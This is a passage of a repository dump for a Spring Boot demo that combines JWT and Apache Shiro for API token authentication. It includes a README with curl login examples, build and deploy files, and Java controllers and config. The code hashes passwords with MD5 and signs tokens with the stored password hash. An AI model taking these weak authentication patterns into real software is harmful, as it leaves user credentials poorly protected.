    "content": "# 此为注释– 将被Git 忽略\n# /结尾表示是目录，忽略目录和目录下的所有件\n# /开头表示根目录，否则是.gitignore的相对目录\n# !开头表示反选\n.idea/\ntarget/\n*.iml\n*.ipr\n*.iws\n*.log\n.svn/\n.project\nrebel.xml\n.rebel-remote.xml.*\nswagger.json\nswagger.adoc\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/README.md",
    "content": "# Table of Contents\n\n  * [简介](#简介)\n  * [测试](#测试)\n  * [许可证](#许可证)\n\n\n## 简介\n\n一般来讲，对于RESTful API都会有认证(Authentication)和授权(Authorization)过程，保证API的安全性。\n\n采用TOKEN认证，这种方式也是再HTTP头中，使用`Authorization: Bearer <token>`，使用最广泛的TOKEN是JWT，通过签名过的TOKEN。\n\n基于Shiro+JWT可实现Token认证方式\n\n## 测试\n\n启动应用后\n\n1. 先访问登录接口/login\n\n*URL*\n\n```\nPOST http://localhost:9095/login\n```\n\n*Header参数*\n\n```\nContent-Type: application/json\n```\n\n*Body参数*\n\n``` json\n{\n\t\"username\": \"admin\",\n\t\"password\": \"12345678\"\n}\n```\n\n可使用postman或者curl方式，本人更愿意使用curl方式：\n\n```\n curl -X POST http://localhost:9095/login -H 'Content-Type: application/json' -d '\n{\n    \"username\": \"admin\",\n    \"password\": \"12345678\"\n}\n'\n```\n\n返回值：\n\n``` json\n{\n    \"success\": true,\n    \"msg\": \"Login success\",\n    \"data\": \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhcHBpZCI6IjExMSIsImltZWkiOiJpbWVpIiwiZXhwIjoxNTM2NDg3NTM1LCJ1c2VybmFtZSI6ImFkbWluIn0.uat7rvVLwC7bcM-jRs329RWdHIFC6P-YN7YdJrdRUHE\"\n}\n```\n\n2. 使用token再去访问接口\n\n上面的\"data\"对应的一长串字符串就是返回的token值\n\n*URL*\n\n```\nGET http://localhost:9095/api/v1/join?imei=imei\n```\n\n*Header参数*\n\n```\nContent-Type: application/json\nAuthorization: \"上面拿到的token值\"\n```\n\ncurl访问语法：\n\n```\ncurl -X GET http://localhost:9095/api/v1/join?imei=imei -H 'Content-Type: application/json' -H 'Authorization: 上面拿到的token值'\n```\n\n## 许可证\n\nCopyright (c) 2018 Xiong Neng\n\n基于 MIT 协议发布: <http://www.opensource.org/licenses/MIT>\n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_jwt</artifactId>\n\t<version>1.0</version>\n    <packaging>jar</packaging>\n\n    <description>集成JWT实现接口权限认证</description>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.14</version>\n        <relativePath></relativePath>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.springframework.boot</groupId>\n                    <artifactId>spring-boot-starter-tomcat</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jetty</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.auth0</groupId>\n            <artifactId>java-jwt</artifactId>\n            <version>3.4.0</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n            <exclusions>\n                <exclusion>\n                    <groupId>com.vaadin.external.google</groupId>\n                    <artifactId>android-json</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <!-- shiro 权限控制 -->\n        <dependency>\n            <groupId>org.apache.shiro</groupId>\n            <artifactId>shiro-spring</artifactId>\n            <version>1.4.0</version>\n            <exclusions>\n                <exclusion>\n                    <artifactId>slf4j-api</artifactId>\n                    <groupId>org.slf4j</groupId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <!-- shiro ehcache (shiro缓存)-->\n        <dependency>\n            <groupId>org.apache.shiro</groupId>\n            <artifactId>shiro-ehcache</artifactId>\n            <version>1.4.0</version>\n            <exclusions>\n                <exclusion>\n                    <artifactId>slf4j-api</artifactId>\n                    <groupId>org.slf4j</groupId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-lang3</artifactId>\n            <version>3.7</version>\n        </dependency>\n\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.6.1</version>\n                <configuration>\n                    <!--<proc>none</proc>-->\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.20</version>\n                <configuration>\n                    <systemPropertyVariables>\n                        <swaggerOutputDir>${project.basedir}/src/main/resources/swagger</swaggerOutputDir>\n                        <asciiDocOutputDir>${project.basedir}/src/main/resources/swagger/swagger</asciiDocOutputDir>\n                    </systemPropertyVariables>\n                    <skip>true</skip>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <executions>\n                </executions>\n            </plugin>\n        </plugins>\n\n        <resources>\n            <resource>\n                <directory>src/main/resources</directory>\n            </resource>\n            <resource>\n                <directory>src/main/java</directory>\n                <includes>\n                    <include>**/*.xml</include>\n                </includes>\n            </resource>\n        </resources>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/run.sh",
    "content": "#!/bin/bash\n# 项目自动更新脚本\n# 先clone相应的分支下来：\n# git clone ssh://git@120.24.173.142:7999/xxx.git\n# 远程调试启动：\n# nohup java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n\nfunction start {\n    profile=\"$1\"\n    echo \"启动环境profile=${profile}\"\n    jarfile=$(ls target/*.jar)\n    if [[ \"$?\" == \"0\" ]]; then\n        stop $profile $jarfile\n    fi\n    branch=$(git branch |awk '{print $2}')\n    git pull origin ${branch}\n    echo \"更新完代码开始重新打包\"\n    mvn clean && mvn clean && mvn package -DskipTests=true\n    if [[ \"$?\" != \"0\" ]]; then\n        echo \"编译出错，退出！\"\n        exit 1\n    fi\n    echo \"nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\"\n    nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n    echo \"启动应用中，请查看日志文件...\"\n}\n\nfunction stop {\n    profile=\"$1\"\n    jarfile=\"$2\"\n    ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep > /dev/null\n    if [[ \"$?\" == \"0\" ]]; then\n        echo \"该应用还在跑，我先停了它\"\n        pid=$(ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep |awk '{print $2}')\n        if [[ \"$pid\" != \"\" ]]; then\n            kill -9 $pid\n        fi\n        echo \"停止应用成功...\"\n    fi\n}\n\nif [[ \"$1\" == \"start\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh start {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    start \"${profile}\"\nelif [[ \"$1\" == \"stop\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh stop  {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh stop {profile}     ==> 停止应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    jarfile=$(ls target/*.jar)\n    stop $profile $jarfile\nelse\n    echo \"参数错误，使用方法：{}参数是必填的，[]参数可选\"\n    echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n    echo \"./epay.sh stop  {profile}    ==> 停止应用，{profile}取值：dev|test|show|production\"\n    exit 1\nfi\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/Application.java",
    "content": "package com.xncoding.jwt;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class Application {\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/api/ExceptionController.java",
    "content": "package com.xncoding.jwt.api;\n\nimport com.xncoding.jwt.api.model.BaseResponse;\nimport org.apache.shiro.ShiroException;\nimport org.apache.shiro.authz.UnauthorizedException;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.bind.annotation.ResponseStatus;\nimport org.springframework.web.bind.annotation.RestControllerAdvice;\n\nimport javax.servlet.http.HttpServletRequest;\n\n/**\n * 注意这个统一异常处理器只对认证过的用户调用接口中的异常有作用，对AuthenticationException没有用\n */\n@RestControllerAdvice\npublic class ExceptionController {\n\n    // 捕捉shiro的异常\n    @ResponseStatus(HttpStatus.UNAUTHORIZED)\n    @ExceptionHandler(ShiroException.class)\n    public BaseResponse handle401(ShiroException e) {\n        return new BaseResponse<>(false, \"shiro的异常\", null);\n    }\n\n    // 捕捉UnauthorizedException\n    @ResponseStatus(HttpStatus.UNAUTHORIZED)\n    @ExceptionHandler(UnauthorizedException.class)\n    public BaseResponse handle401() {\n        return new BaseResponse<>(false, \"UnauthorizedException\", null);\n    }\n\n    // 捕捉其他所有异常\n    @ExceptionHandler(Exception.class)\n    @ResponseStatus(HttpStatus.BAD_REQUEST)\n    public BaseResponse globalException(HttpServletRequest request, Throwable ex) {\n        return new BaseResponse<>(false, \"其他异常\", null);\n    }\n\n    private HttpStatus getStatus(HttpServletRequest request) {\n        Integer statusCode = (Integer) request.getAttribute(\"javax.servlet.error.status_code\");\n        if (statusCode == null) {\n            return HttpStatus.INTERNAL_SERVER_ERROR;\n        }\n        return HttpStatus.valueOf(statusCode);\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/api/LoginController.java",
    "content": "package com.xncoding.jwt.api;\n\nimport com.xncoding.jwt.api.model.BaseResponse;\nimport com.xncoding.jwt.api.model.LoginParam;\nimport com.xncoding.jwt.common.util.JWTUtil;\nimport com.xncoding.jwt.model.ManagerInfo;\nimport com.xncoding.jwt.service.ManagerInfoService;\nimport com.xncoding.jwt.shiro.ShiroKit;\nimport org.apache.shiro.authz.UnauthorizedException;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.web.bind.annotation.*;\n\nimport javax.annotation.Resource;\n\n/**\n * 登录接口类\n */\n@RestController\npublic class LoginController {\n\n    @Resource\n    private ManagerInfoService managerInfoService;\n\n    private static final Logger _logger = LoggerFactory.getLogger(LoginController.class);\n\n    @PostMapping(\"/login\")\n    public BaseResponse<String> login(@RequestHeader(name=\"Content-Type\", defaultValue = \"application/json\") String contentType,\n                                      @RequestBody LoginParam loginParam) {\n        _logger.info(\"用户请求登录获取Token\");\n        String username = loginParam.getUsername();\n        String password = loginParam.getPassword();\n        ManagerInfo user = managerInfoService.findByUsername(username);\n        //随机数盐\n        String salt = user.getSalt();\n        //原密码加密（通过username + salt作为盐）\n        String encodedPassword = ShiroKit.md5(password, username + salt);\n        if (user.getPassword().equals(encodedPassword)) {\n            return new BaseResponse<>(true, \"Login success\", JWTUtil.sign(username, encodedPassword));\n        } else {\n            throw new UnauthorizedException();\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/api/PublicController.java",
    "content": "package com.xncoding.jwt.api;\n\nimport com.xncoding.jwt.api.model.BaseResponse;\nimport org.apache.shiro.authz.annotation.RequiresAuthentication;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.web.bind.annotation.*;\n\n/**\n * 机具管理API接口类\n */\n@RestController\n@RequestMapping(value = \"/api/v1\")\npublic class PublicController {\n\n    private static final Logger _logger = LoggerFactory.getLogger(PublicController.class);\n\n    /**\n     * 入网绑定查询接口\n     *\n     * @return 是否入网\n     */\n    @RequestMapping(value = \"/join\", method = RequestMethod.GET)\n    @RequiresAuthentication\n    public BaseResponse join(@RequestParam(\"imei\") String imei) {\n        _logger.info(\"入网查询接口 start... imei=\" + imei);\n        BaseResponse result = new BaseResponse();\n        result.setSuccess(true);\n        result.setMsg(\"已入网并绑定了网点\");\n        return result;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/api/model/BaseResponse.java",
    "content": "package com.xncoding.jwt.api.model;\n\n/**\n * API接口的基础返回类\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/7\n */\npublic class BaseResponse<T> {\n    /**\n     * 是否成功\n     */\n    private boolean success;\n\n    /**\n     * 说明\n     */\n    private String msg;\n\n    /**\n     * 返回数据\n     */\n    private T data;\n\n    public BaseResponse() {\n\n    }\n\n    public BaseResponse(boolean success, String msg, T data) {\n        this.success = success;\n        this.msg = msg;\n        this.data = data;\n    }\n\n    public boolean isSuccess() {\n        return success;\n    }\n\n    public void setSuccess(boolean success) {\n        this.success = success;\n    }\n\n    public String getMsg() {\n        return msg;\n    }\n\n    public void setMsg(String msg) {\n        this.msg = msg;\n    }\n\n    public T getData() {\n        return data;\n    }\n\n    public void setData(T data) {\n        this.data = data;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/api/model/LoginParam.java",
    "content": "package com.xncoding.jwt.api.model;\n\n/**\n * 登录认证接口参数\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/9\n */\npublic class LoginParam {\n    /**\n     * 用户名\n     */\n    private String username;\n    /**\n     * 密码\n     */\n    private String password;\n\n    public String getUsername() {\n        return username;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n\n    public void setPassword(String password) {\n        this.password = password;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/common/util/JWTUtil.java",
    "content": "package com.xncoding.jwt.common.util;\n\nimport com.auth0.jwt.JWT;\nimport com.auth0.jwt.JWTVerifier;\nimport com.auth0.jwt.algorithms.Algorithm;\nimport com.auth0.jwt.interfaces.DecodedJWT;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Date;\n\npublic class JWTUtil {\n\n    private static final Logger log = LoggerFactory.getLogger(JWTUtil.class);\n\n    // 过期时间5分钟\n    private static final long EXPIRE_TIME = 5 * 60 * 1000;\n\n    /**\n     * 生成签名,5min后过期\n     *\n     * @param username 用户名\n     * @param secret   用户的密码\n     * @return 加密的token\n     */\n    public static String sign(String username, String secret) {\n        Date date = new Date(System.currentTimeMillis() + EXPIRE_TIME);\n        Algorithm algorithm = Algorithm.HMAC256(secret);\n        // 附带username信息\n        return JWT.create()\n                .withClaim(\"username\", username)\n                .withExpiresAt(date)\n                .sign(algorithm);\n    }\n\n    /**\n     * 校验token是否正确\n     *\n     * @param token  密钥\n     * @param secret 用户的密码\n     * @return 是否正确\n     */\n    public static boolean verify(String token, String username, String secret) {\n        Algorithm algorithm = Algorithm.HMAC256(secret);\n        JWTVerifier verifier = JWT.require(algorithm)\n                .withClaim(\"username\", username)\n                .build();\n        DecodedJWT jwt = verifier.verify(token);\n        return true;\n    }\n\n    /**\n     * 获得token中的信息无需secret解密也能获得\n     *\n     * @return token中包含的用户名\n     */\n    public static String getUsername(String token) {\n        DecodedJWT jwt = JWT.decode(token);\n        return jwt.getClaim(\"username\").asString();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/config/ShiroConfig.java",
    "content": "package com.xncoding.jwt.config;\n\nimport com.xncoding.jwt.shiro.JWTFilter;\nimport com.xncoding.jwt.shiro.MyShiroRealm;\nimport org.apache.shiro.cache.ehcache.EhCacheManager;\nimport org.apache.shiro.mgt.DefaultSessionStorageEvaluator;\nimport org.apache.shiro.mgt.DefaultSubjectDAO;\nimport org.apache.shiro.mgt.SecurityManager;\nimport org.apache.shiro.spring.security.interceptor.AuthorizationAttributeSourceAdvisor;\nimport org.apache.shiro.spring.web.ShiroFilterFactoryBean;\nimport org.apache.shiro.web.mgt.DefaultWebSecurityManager;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.core.annotation.Order;\n\nimport javax.servlet.Filter;\nimport java.util.LinkedHashMap;\nimport java.util.Map;\n\n/**\n * Description  : Apache Shiro 核心通过 Filter 来实现，就好像SpringMvc 通过DispachServlet 来主控制一样。\n * 既然是使用 Filter 一般也就能猜到，是通过URL规则来进行过滤和权限校验，所以我们需要定义一系列关于URL的规则和访问权限。\n */\n\n@Configuration\n@Order(1)\npublic class ShiroConfig {\n    /**\n     * ShiroFilterFactoryBean 处理拦截资源文件问题。\n     * 注意：单独一个ShiroFilterFactoryBean配置是或报错的，以为在\n     * 初始化ShiroFilterFactoryBean的时候需要注入：SecurityManager Filter Chain定义说明\n     * 1、一个URL可以配置多个Filter，使用逗号分隔\n     * 2、当设置多个过滤器时，全部验证通过，才视为通过\n     * 3、部分过滤器可指定参数，如perms，roles\n     */\n    @Bean\n    public ShiroFilterFactoryBean shirFilter(SecurityManager securityManager) {\n\n        ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();\n        // 必须设置 SecurityManager\n        shiroFilterFactoryBean.setSecurityManager(securityManager);\n        //验证码过滤器\n        Map<String, Filter> filtersMap = shiroFilterFactoryBean.getFilters();\n        filtersMap.put(\"jwt\", new JWTFilter());\n        shiroFilterFactoryBean.setFilters(filtersMap);\n\n        // 拦截器\n        //rest：比如/admins/user/**=rest[user],根据请求的方法，相当于/admins/user/**=perms[user：method] ,其中method为post，get，delete等。\n        //port：比如/admins/user/**=port[8081],当请求的url的端口不是8081是跳转到schemal：//serverName：8081?queryString,其中schmal是协议http或https等，serverName是你访问的host,8081是url配置里port的端口，queryString是你访问的url里的？后面的参数。\n        //perms：比如/admins/user/**=perms[user：add：*],perms参数可以写多个，多个时必须加上引号，并且参数之间用逗号分割，比如/admins/user/**=perms[\"user：add：*,user：modify：*\"]，当有多个参数时必须每个参数都通过才通过，想当于isPermitedAll()方法。\n        //roles：比如/admins/user/**=roles[admin],参数可以写多个，多个时必须加上引号，并且参数之间用逗号分割，当有多个参数时，比如/admins/user/**=roles[\"admin,guest\"],每个参数通过才算通过，相当于hasAllRoles()方法。//要实现or的效果看http://zgzty.blog.163.com/blog/static/83831226201302983358670/\n        //anon：比如/admins/**=anon 没有参数，表示可以匿名使用。\n        //authc：比如/admins/user/**=authc表示需要认证才能使用，没有参数\n        //authcBasic：比如/admins/user/**=authcBasic没有参数表示httpBasic认证\n        //ssl：比如/admins/user/**=ssl没有参数，表示安全的url请求，协议为https\n        //user：比如/admins/user/**=user没有参数表示必须存在用户，当登入操作时不做检查\n        Map<String, String> filterChainDefinitionMap = new LinkedHashMap<String, String>();\n\n        // swagger接口文档\n        filterChainDefinitionMap.put(\"/v2/api-docs\", \"anon\");\n        filterChainDefinitionMap.put(\"/webjars/**\", \"anon\");\n        filterChainDefinitionMap.put(\"/swagger-resources/**\", \"anon\");\n        filterChainDefinitionMap.put(\"/swagger-ui.html\", \"anon\");\n        filterChainDefinitionMap.put(\"/doc.html\", \"anon\");\n\n        // 其他的\n        filterChainDefinitionMap.put(\"/**\", \"jwt\");\n\n        // 访问401和404页面不通过我们的Filter\n        filterChainDefinitionMap.put(\"/401\", \"anon\");\n        filterChainDefinitionMap.put(\"/404\", \"anon\");\n\n        shiroFilterFactoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap);\n        return shiroFilterFactoryBean;\n    }\n\n    @Bean\n    public SecurityManager securityManager() {\n        DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();\n        // 设置realm.\n        securityManager.setRealm(myShiroRealm());\n        //注入缓存管理器\n        securityManager.setCacheManager(ehCacheManager());\n        /*\n         * 关闭shiro自带的session，详情见文档\n         * http://shiro.apache.org/session-management.html#SessionManagement-StatelessApplications%28Sessionless%29\n         */\n        DefaultSubjectDAO subjectDAO = new DefaultSubjectDAO();\n        DefaultSessionStorageEvaluator defaultSessionStorageEvaluator = new DefaultSessionStorageEvaluator();\n        defaultSessionStorageEvaluator.setSessionStorageEnabled(false);\n        subjectDAO.setSessionStorageEvaluator(defaultSessionStorageEvaluator);\n        securityManager.setSubjectDAO(subjectDAO);\n\n        return securityManager;\n    }\n\n    /**\n     * 身份认证realm; (这个需要自己写，账号密码校验；权限等)\n     */\n    @Bean\n    public MyShiroRealm myShiroRealm() {\n        MyShiroRealm myShiroRealm = new MyShiroRealm();\n        return myShiroRealm;\n    }\n\n    /**\n     * 开启shiro aop注解支持. 使用代理方式; 所以需要开启代码支持;\n     *\n     * @param securityManager 安全管理器\n     * @return 授权Advisor\n     */\n    @Bean\n    public AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor(SecurityManager securityManager) {\n        AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor = new AuthorizationAttributeSourceAdvisor();\n        authorizationAttributeSourceAdvisor.setSecurityManager(securityManager);\n        return authorizationAttributeSourceAdvisor;\n    }\n\n    /**\n     * shiro缓存管理器;\n     * 需要注入对应的其它的实体类中：\n     * 1、安全管理器：securityManager\n     * 可见securityManager是整个shiro的核心；\n     *\n     * @return\n     */\n    @Bean\n    public EhCacheManager ehCacheManager() {\n        EhCacheManager cacheManager = new EhCacheManager();\n        cacheManager.setCacheManagerConfigFile(\"classpath:ehcache.xml\");\n        return cacheManager;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/dao/domain/Manager.java",
    "content": "package com.xncoding.jwt.dao.domain;\n\nimport java.io.Serializable;\nimport java.util.Date;\n\n/**\n * 后台管理用户表\n *\n * @author 熊能\n * @version 1.0\n * @since 2018/01/02\n */\npublic class Manager {\n\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * 主键ID\n     */\n    private Integer id;\n    /**\n     * 账号\n     */\n    private String username;\n    /**\n     * 名字\n     */\n    private String name;\n    /**\n     * 密码\n     */\n    private String password;\n    /**\n     * md5密码盐\n     */\n    private String salt;\n    /**\n     * 联系电话\n     */\n    private String phone;\n    /**\n     * 备注\n     */\n    private String tips;\n    /**\n     * 状态 1:正常 2:禁用\n     */\n    private Integer state;\n    /**\n     * 创建时间\n     */\n    private Date createdTime;\n    /**\n     * 更新时间\n     */\n    private Date updatedTime;\n\n    /**\n     * 获取 主键ID.\n     *\n     * @return 主键ID.\n     */\n    public Integer getId() {\n        return id;\n    }\n\n    /**\n     * 设置 主键ID.\n     *\n     * @param id 主键ID.\n     */\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    /**\n     * 获取 账号.\n     *\n     * @return 账号.\n     */\n    public String getUsername() {\n        return username;\n    }\n\n    /**\n     * 设置 账号.\n     *\n     * @param username 账号.\n     */\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    /**\n     * 获取 名字.\n     *\n     * @return 名字.\n     */\n    public String getName() {\n        return name;\n    }\n\n    /**\n     * 设置 名字.\n     *\n     * @param name 名字.\n     */\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    /**\n     * 获取 密码.\n     *\n     * @return 密码.\n     */\n    public String getPassword() {\n        return password;\n    }\n\n    /**\n     * 设置 密码.\n     *\n     * @param password 密码.\n     */\n    public void setPassword(String password) {\n        this.password = password;\n    }\n\n    /**\n     * 获取 md5密码盐.\n     *\n     * @return md5密码盐.\n     */\n    public String getSalt() {\n        return salt;\n    }\n\n    /**\n     * 设置 md5密码盐.\n     *\n     * @param salt md5密码盐.\n     */\n    public void setSalt(String salt) {\n        this.salt = salt;\n    }\n\n    /**\n     * 获取 联系电话.\n     *\n     * @return 联系电话.\n     */\n    public String getPhone() {\n        return phone;\n    }\n\n    /**\n     * 设置 联系电话.\n     *\n     * @param phone 联系电话.\n     */\n    public void setPhone(String phone) {\n        this.phone = phone;\n    }\n\n    /**\n     * 获取 备注.\n     *\n     * @return 备注.\n     */\n    public String getTips() {\n        return tips;\n    }\n\n    /**\n     * 设置 备注.\n     *\n     * @param tips 备注.\n     */\n    public void setTips(String tips) {\n        this.tips = tips;\n    }\n\n    /**\n     * 获取 状态 1:正常 2:禁用.\n     *\n     * @return 状态 1:正常 2:禁用.\n     */\n    public Integer getState() {\n        return state;\n    }\n\n    /**\n     * 设置 状态 1:正常 2:禁用.\n     *\n     * @param state 状态 1:正常 2:禁用.\n     */\n    public void setState(Integer state) {\n        this.state = state;\n    }\n\n    /**\n     * 获取 创建时间.\n     *\n     * @return 创建时间.\n     */\n    public Date getCreatedTime() {\n        return createdTime;\n    }\n\n    /**\n     * 设置 创建时间.\n     *\n     * @param createdTime 创建时间.\n     */\n    public void setCreatedTime(Date createdTime) {\n        this.createdTime = createdTime;\n    }\n\n    /**\n     * 获取 更新时间.\n     *\n     * @return 更新时间.\n     */\n    public Date getUpdatedTime() {\n        return updatedTime;\n    }\n\n    /**\n     * 设置 更新时间.\n     *\n     * @param updatedTime 更新时间.\n     */\n    public void setUpdatedTime(Date updatedTime) {\n        this.updatedTime = updatedTime;\n    }\n\n    protected Serializable pkVal() {\n        return this.id;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/dao/domain/ManagerRole.java",
    "content": "package com.xncoding.jwt.dao.domain;\n\nimport java.io.Serializable;\nimport java.util.Date;\n\n/**\n * 用户角色关联表\n *\n * @author 熊能\n * @version 1.0\n * @since 2018/01/02\n */\npublic class ManagerRole {\n\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * 主键ID\n     */\n    private Integer id;\n    /**\n     * 管理用户ID\n     */\n    private Integer managerId;\n    /**\n     * 角色ID\n     */\n    private Integer roleId;\n    /**\n     * 创建时间\n     */\n    private Date createdTime;\n    /**\n     * 更新时间\n     */\n    private Date updatedTime;\n\n    /**\n     * 获取 主键ID.\n     *\n     * @return 主键ID.\n     */\n    public Integer getId() {\n        return id;\n    }\n\n    /**\n     * 设置 主键ID.\n     *\n     * @param id 主键ID.\n     */\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    /**\n     * 获取 管理用户ID.\n     *\n     * @return 管理用户ID.\n     */\n    public Integer getManagerId() {\n        return managerId;\n    }\n\n    /**\n     * 设置 管理用户ID.\n     *\n     * @param managerId 管理用户ID.\n     */\n    public void setManagerId(Integer managerId) {\n        this.managerId = managerId;\n    }\n\n    /**\n     * 获取 角色ID.\n     *\n     * @return 角色ID.\n     */\n    public Integer getRoleId() {\n        return roleId;\n    }\n\n    /**\n     * 设置 角色ID.\n     *\n     * @param roleId 角色ID.\n     */\n    public void setRoleId(Integer roleId) {\n        this.roleId = roleId;\n    }\n\n    /**\n     * 获取 创建时间.\n     *\n     * @return 创建时间.\n     */\n    public Date getCreatedTime() {\n        return createdTime;\n    }\n\n    /**\n     * 设置 创建时间.\n     *\n     * @param createdTime 创建时间.\n     */\n    public void setCreatedTime(Date createdTime) {\n        this.createdTime = createdTime;\n    }\n\n    /**\n     * 获取 更新时间.\n     *\n     * @return 更新时间.\n     */\n    public Date getUpdatedTime() {\n        return updatedTime;\n    }\n\n    /**\n     * 设置 更新时间.\n     *\n     * @param updatedTime 更新时间.\n     */\n    public void setUpdatedTime(Date updatedTime) {\n        this.updatedTime = updatedTime;\n    }\n\n    protected Serializable pkVal() {\n        return this.id;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/java/com/xncoding/jwt/dao/domain/Permission.java",
